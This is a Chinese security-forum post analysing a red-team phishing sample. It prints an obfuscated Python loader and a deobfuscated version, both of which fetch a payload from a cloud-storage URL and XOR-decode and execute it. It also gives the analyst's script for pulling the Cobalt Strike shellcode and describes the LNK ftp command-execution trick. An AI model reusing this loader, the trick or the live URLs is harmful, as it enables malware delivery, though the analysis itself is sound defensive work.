吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8791|回复: 200
上一主题 下一主题
收起左侧

[PC样本分析] 记录自己的第一次红队钓鱼样本分析

    [复制链接]
跳转到指定楼层
楼主
yinsel 发表于 2024-8-20 22:50 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

记录自己的第一次红队钓鱼样本分析

前言

HVV 遇到了邮件钓鱼,有个样本挺有趣,自己又没分析过样本,于是便想尝试分析一下,并记录下来,同时学习一下红队大佬们的思路,大佬勿喷,讲的比较哆嗦。

详细分析过程

尝试上线分析流量

先尝试上线看看流量,这里我用 proxifier 强制走 Reqable 分析一下流量:

使用了阿里CDN,有点像 CS 的流量:

查一下域名,好家伙还是备案的:

估计用了域前置(我也想用啊 QAQ),话不多说,开始分析!

分析上线流程

样本是一个压缩包,解压后包含一个快捷方式以及一个文件夹:

解压后:

文件夹的内容:

这一看就是打包的一个 python 环境,并且是 embed 版本,可以在这里找到对应的版本下载:

https://www.python.org/ftp/python/

接着查看快捷方式属性:

这种快捷方式我见的比较少,他利用了 ftp 来执行系统命令,通过执行-s 参数执行 WeChatWin.dll 文件内的 ftp 命令。

查阅资料后,可以得知 ftp 有个特性,可以直接使用 ! 执行系统命令,这我还是第一次知道,太冷门了(红队真狡猾啊),并且还可以使用 -s:<文件> 可以运行文件中的 ftp 命令。

有了这个基础,接下来我们看看 WeChatWin.dll 里是啥:

不出所料,使用了 ftp 的 ! 来执行系统命令,start /b 代表以后台模式启动一个程序,分析得知,它使用了 pythonw.exe 来执行 main.pyw, pythonw.exepython 的无窗口版本,然后又打开了一个 word 文档来迷惑受害者,并且它还是加密的文档,正常人遇到加密的肯定想着寻找密码,可以拖延时间,其中 bye 用于结束 ftp 命令,避免出现黑窗口引起怀疑。

继续查看一下 main.pyw :

导入了一个模块,同目录下还有一个 action.py,是一个混淆的 python 脚本,猜测是在这里混淆的:

https://pyob.oxyry.com/ ,代码如下:

import ast 
import pickle 
import ctypes ,urllib .request ,codecs ,base64 
import sys ,ssl 
ssl ._create_default_https_context =ssl ._create_unverified_context 
OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB').read ()
def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
    return bytes (O0OO000OO0OOO0O00 )
def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
    O0O0OO0O0OO0O00OO =""
    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
    return O0000O0O0OOO000O0 .decode ()
OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
class A (object ):
    def __reduce__ (OOOOOOOOO000000OO ):
        return (exec ,(OO00O0OO00OO00OO0 ,))
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
    try :
        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
    except Exception as OO0OOO00000OO00O0 :
        exit ()
OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )

面对这种混淆的代码,实在是看着脑瓜子疼,于是使用 AI 来帮我们做一下还原,看看代码在做什么,有一说一,AI 对于还原混淆代码的能力还挺强的,以下是使用 ChatGPT 还原并加上注释的 python 代码:

import ast
import ctypes
import urllib.request
import base64
import ssl

# 禁用SSL证书验证,允许连接到不安全的服务器
ssl._create_default_https_context = ssl._create_unverified_context

# 从指定的URL下载加密的脚本数据
encrypted_script_data = urllib.request.urlopen('https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB').read()

# 定义XOR解密函数
def xor_decrypt(data, key):
    decrypted_data = bytearray(len(data))
    for i in range(len(data)):
        # 将每个字节与密钥的对应字节进行异或运算
        decrypted_data[i] = data[i] ^ key[i % len(key)]
    return bytes(decrypted_data)

# 从加密的字符串中提取Base64编码的部分
def extract_base64_string(encoded_string):
    base64_string = ""
    for i in range(3, len(encoded_string), 4):
        # 每4个字符取一个字符,拼接成Base64编码的字符串
        base64_string += encoded_string[i]
    decoded_bytes = base64.b64decode(base64_string)
    return decoded_bytes.decode()

# 解码从远程服务器获取的脚本数据
decoded_script = extract_base64_string(encrypted_script_data.decode())

# 定义用于不安全反序列化的类A
class A(object):
    def __reduce__(self):
        # 将解密后的脚本传递给exec函数执行
        return (exec, (decoded_script,))

# 解析并尝试执行传入的Python代码字符串
def execute_script(script):
    try:
        # 将字符串解析为AST(抽象语法树)
        parsed_ast = ast.parse(script, mode='exec')
        # 编译AST并执行生成的字节码
        exec(compile(parsed_ast, filename="<string>", mode="exec"))
    except Exception as e:
        # 捕获任何异常并退出
        exit()

# 加密的密钥字符串
encrypted_key = "tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
# 提取并解码加密的密钥字符串
decoded_key = extract_base64_string(encrypted_key)

# 尝试执行解密后的脚本
execute_script(decoded_key)

可以看到脚本的内容主要是从存储桶中下载加密的 python 脚本再使用 base64 和 XOR 解密后再编译运行,同时还定义了一个重写了 __reduce__ 方法的类,后续的 python 代码执行可能会利用反序列化来触发执行,尝试将 decoded_script
decoded_payload 进行打印:

最终利用反序列化触发执行 python 的远程分离加载器。

提取原始 shellcode

使用以下代码将远程下载的 shellcode 保存下来:

import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b').read()
encrypted_data = encrypted_data.strip()

def xor_decrypt(data, key):
    decrypted_data = bytearray(len(data))
    for i in range(len(data)):
        decrypted_data[i] = data[i] ^ key[i % len(key)]
    return bytes(decrypted_data)

key = b'BVJgJShZbeqfrqHjp'
decoded_data = base64.b64decode(encrypted_data)
sc = xor_decrypt(decoded_data, key)
with open("shellcode.bin","wb") as f:
    f.write(sc)

Shellcode 如下:

E8 开头,有点像 sgn 编码后的 shellcode,使用 x64dbg 调试:

可以看到有些指令不合法,很明显是加密了,单步调试发现它正在动态的解密,应该是经过 sgn 编码后 shellcode,特点是通常以 E8 开头,使用 call 指令作为入口,目的是调用一个函数来动态解密。

接着我需要 dump 原始的 shellcode,因此这里我尝试对 LoadlibraryA 进行断点,因为这个时候 shellcode 已经解密完成了,断点后点击运行并观察 shellcode 对应的内存:

这里断住了,可以发现内存的变化,可以看到有个显眼的 MZ ,经典 CS 马,将其 dump 出来:

使用 CobaltStrikeParser 解析 shellcode:

分析完毕!



样本链接:https://wwqd.lanzoul.com/imH4c280phdg(解压密码52pojie)

免费评分

参与人数 70吾爱币 +61 热心值 +64 收起 理由
misaki520 + 1 + 1 我很赞同!
gxdaodao + 1 用心讨论,共获提升!
Kn1fe + 1 + 1 谢谢@Thanks!
xiaoxiaoY520 + 1 + 1 用心讨论,共获提升!
MephistoX + 1 + 1 我很赞同!
noahfeng + 1 + 1 我很赞同!
PoJieDaWang123 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
HiramFan + 1 + 1 热心回复!
Mineo + 1 我很赞同!非常感谢您的分享
lqcx + 1 感谢分享
wyh21cn + 1 + 1 热心回复!
Xxxxxhhhhffff + 1 + 1 我很赞同!
XkKpenep + 1 + 1 我很赞同!
____Atlantis + 1 + 1 我很赞同!
L0u1s + 1 我很赞同!
zedsu1 + 1 + 1 我很赞同!
ioyr5995 + 1 + 1 我很赞同!
yingban777 + 1 + 1 我很赞同!
solitary369 + 1 谢谢@Thanks!
猪猪的快乐 + 1 我很赞同!
240721 + 1 + 1 我很赞同!
ofsset + 1 + 1 我很赞同!
KongMing77 + 1 + 1 谢谢@Thanks!
zeroice3150 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
JerryGod + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
wyz05170517 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
建业阳仔 + 1 + 1 看不懂,但是很受震撼!
xiaoyhc + 1 + 1 我很赞同!
Cofei430 + 1 + 1 我很赞同!
zzccyydd + 1 + 1 谢谢@Thanks!
xiaohuaiwu + 1 谢谢@Thanks!
SMGER + 1 我很赞同!
adwa + 1 + 1 我很赞同!
AlexMason + 1 用心讨论,共获提升!
lyrong2008 + 1 楼主好厉害!
jk998 + 1 + 1 我很赞同!
IneedWinter + 1 + 1 谢谢@Thanks!
趁火打劫 + 1 我很赞同!
jztqwe + 1 谢谢@Thanks!
Ranch + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
LTbetter + 1 + 1 用心讨论,共获提升!
fansir + 1 + 1 我很赞同!
fjz5 + 1 + 1 太强了佬,又学到了
allspark + 1 + 1 用心讨论,共获提升!
JackieLuo + 1 + 1 用心讨论,共获提升!
zhangy1219 + 1 + 1 热心回复!
afrend + 1 + 1 用心讨论,共获提升!
yixi + 1 + 1 谢谢@Thanks!
外酥内嫩 + 1 + 1 我很赞同!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
chenkeai深蓝 + 1 用心讨论,共获提升!
v50dudu + 1 + 1 牛逼虽然看不懂但是给了
SRYTNT + 1 + 1 牛逼 学到了
smile1110 + 3 + 1 超详细的新手教程,爱看,加油
theStyx + 1 + 1 用心讨论,共获提升!
gzhdssj + 1 + 1 谢谢@Thanks!
leospring + 1 + 1 用心讨论,共获提升!
ISAT + 1 + 1 我很赞同!
gaosld + 1 谢谢@Thanks!
xiaopeng128 + 1 + 1 我很赞同!
micr0 + 1 + 1 我很赞同!
ziyuejun + 1 我很赞同!
gouzi123 + 1 + 1 谢谢@Thanks!
kuiba + 1 + 1 用心讨论,共获提升!
ML999 + 1 + 1 用心讨论,共获提升!
rookie66 + 1 + 1 谢谢@Thanks!
wcywcy + 1 + 1 我很赞同!
boybubble + 1 + 1 用心讨论,共获提升!
yp17792351859 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
vmoranv + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Dmark 发表于 2024-8-21 11:02
Listentomusic 发表于 2024-8-21 09:39
大佬,牛还是第一次见Ai还原混淆代码

AI在我看来就是更人性化搜索功能,自己训练多了,就会在信息爆炸时代,准确找到自己想知道的,其他的不需要
推荐
w759003376 发表于 2024-8-21 10:23
这个原始的shellcode.bin文件是可以直接运行吗,所以可以用x64dbg直接调试再从内存里面dump出真正的shellcode这样吗
沙发
anxingye 发表于 2024-8-20 23:01
3#
woyaofeng2 发表于 2024-8-20 23:12
好吧看一看
4#
roseson11 发表于 2024-8-20 23:41
感谢分享!
5#
 楼主| yinsel 发表于 2024-8-21 00:00 |楼主

谢谢支持!
6#
loca1h0st 发表于 2024-8-21 04:16
又学一招
7#
Yuwenyi 发表于 2024-8-21 08:18
很不错哦~,再接再厉
8#
shiqiangge 发表于 2024-8-21 08:31
感谢分享,学习了
9#
KuTangGu 发表于 2024-8-21 08:52
厉害,非常 棒
10#
surepj 发表于 2024-8-21 09:03
学习了,感谢分享。网络安全任重道远
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-13 07:56

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表